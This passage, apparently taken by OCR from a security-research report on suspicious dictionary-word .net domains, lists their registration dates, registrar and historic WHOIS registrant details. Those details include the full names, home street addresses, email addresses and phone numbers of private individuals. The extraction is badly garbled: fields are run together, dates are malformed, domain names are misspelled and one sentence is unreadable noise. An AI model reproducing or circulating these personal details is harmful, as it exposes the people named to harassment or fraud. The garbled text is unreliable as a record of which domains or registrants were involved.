
withinshould.net

amountcondition.net

collegebeside.net

wouldstrong.net

riddenspring.net

sufferfence.net

heardstrong.net

variousopinion.net

heavyairplane.net

husbandbuilt.net

20130309

20130309

201303-09

20130310

20130310

20130311

20130311

20130314

20130315

20130315

20130316

20130316

20130319

20130319

20140309

20140309

201403-09

20140310

20140310

20140311

20140311

20140314

20140315

20140315

20140316

20140316

20140319

20140319

clint Bertke
299lowry rd
fort recovery, OH 45846

JeromeEngel
N70W25803VictoriaCr.
Susex, WI 53089
TimothyGirvin
2157pennst

lebanon, PA 17042

markemr
30 heuerstreet
little ferry, NJ 07643

bertke, clintm
299lowry rd
fort recovery, OH 45846

RobertSeifert
2212W. Farwell
Chicago, IL 60645

pedrovaladez
2607yorkshiredr
antioch, CA 94531

FrankGibilante
2800Limekiln Pike
Glenside, PA 19038

dennish
342westmorganrd.
decatur, AL 35603

JulieDucheny
975N. Clevelandst.
Orange, CA 92867

LynetteCanlan
210PinehurstWay
Sanfrancisco, CA 94080

LynetteConlan
210PinehurstWay
Sanfrancisco, CA 94080

Calebdr
1017carllsstraightpath
DixHills, NY 11746

lanettarogers
2503boisd arcin
cedarpark, TX 78613

clintmbertke@yahoo.com

jerome_engel@yahoo.com

timothygirvinz@yahoo.com

lynchashlylynn@yahoo.com

clintmbertke@aol.com

seifertrobertw@yahoo.com

darrylgbucher@yahoo.com

coxkassandra@yahoo.com

emmetmax@yahoo.com

percymarley@yahoo.com

donnybonham184@yahoo.com

alankimberley@yahooam

nettanathanson@yahoo.com

shaynestafford@yahoo.com

+1.4198523054

+1.2622464897

+1.7175726432

+1.2016419394

+1.4198523054

+1.7737916544

+1.9254374755

+1.2158874578

+1.2563401463

+1.7145385735

+1.6505882763

+1.6505882742

+1.6319182104

+1.5127386723

MELBOURNE IT, LTD.
D/B/A INTERNET NAME
WORLDWIDE

MELBOURNE IT, LTD.
D/B/A INTERNET NAME
WORLDWIDE

MELBOURNE IT, LTD.
D/B/A INTERET NAMES
WORLDWIDE

MELBOURNE IT, LTD.
D/B/A INTERNET NAME
WORLDWIDE

OMNIS NETWORK, LLC

MELBOURNE IT, LTD.
D/B/A INTERNET NA&S
WORLDWIDE

MELBOURNE IT, LTD.
D/B/A INTERNET NAME
WORLDWIDE

MELBOURNE IT, LTD.
D/B/A INTERNET NAME
WORLDWIDE

MELBOURNE IT, LTD.
D/B/A INTERNET NAME
WORLDWIDE

MELBOURNE IT, LTD.
D/B/A INTERNET NAME
WORLDWIDE

MELBOURNE IT, LTD.
D/B/A INTERNET NAME
WORLDWIDE

MELBOURNE IT, LTD.
D/B/A INTERNET NAME
WORLDWIDE

MELBOURNE IT, LTD.
D/B/A INTERNET NAME
WORLDWIDE

MELBOURNE IT, LTD.
D/B/A INTERNET NAME
WORLDWIDE

As can be seen above, each domain is registered for one year.

Historic WHOIS Research

With the exception otollegeearly.netheardstrong.netheavyairplane.nethusbandbuilt.net
riddenspring.netsufferfence.netandwithinshould.net{which hosted blank webpages), and
amountcondition.netvariousopinion.ngtandweatherdivige.net(whose webserver was down), all of the
domainsfoundviareal A YS & Ol yyAy3a 623S O2yiltAy O2yiGSyd ¥F2
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European companies a fast and © at what we do.
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This can be your second job (part-time) Hungary.
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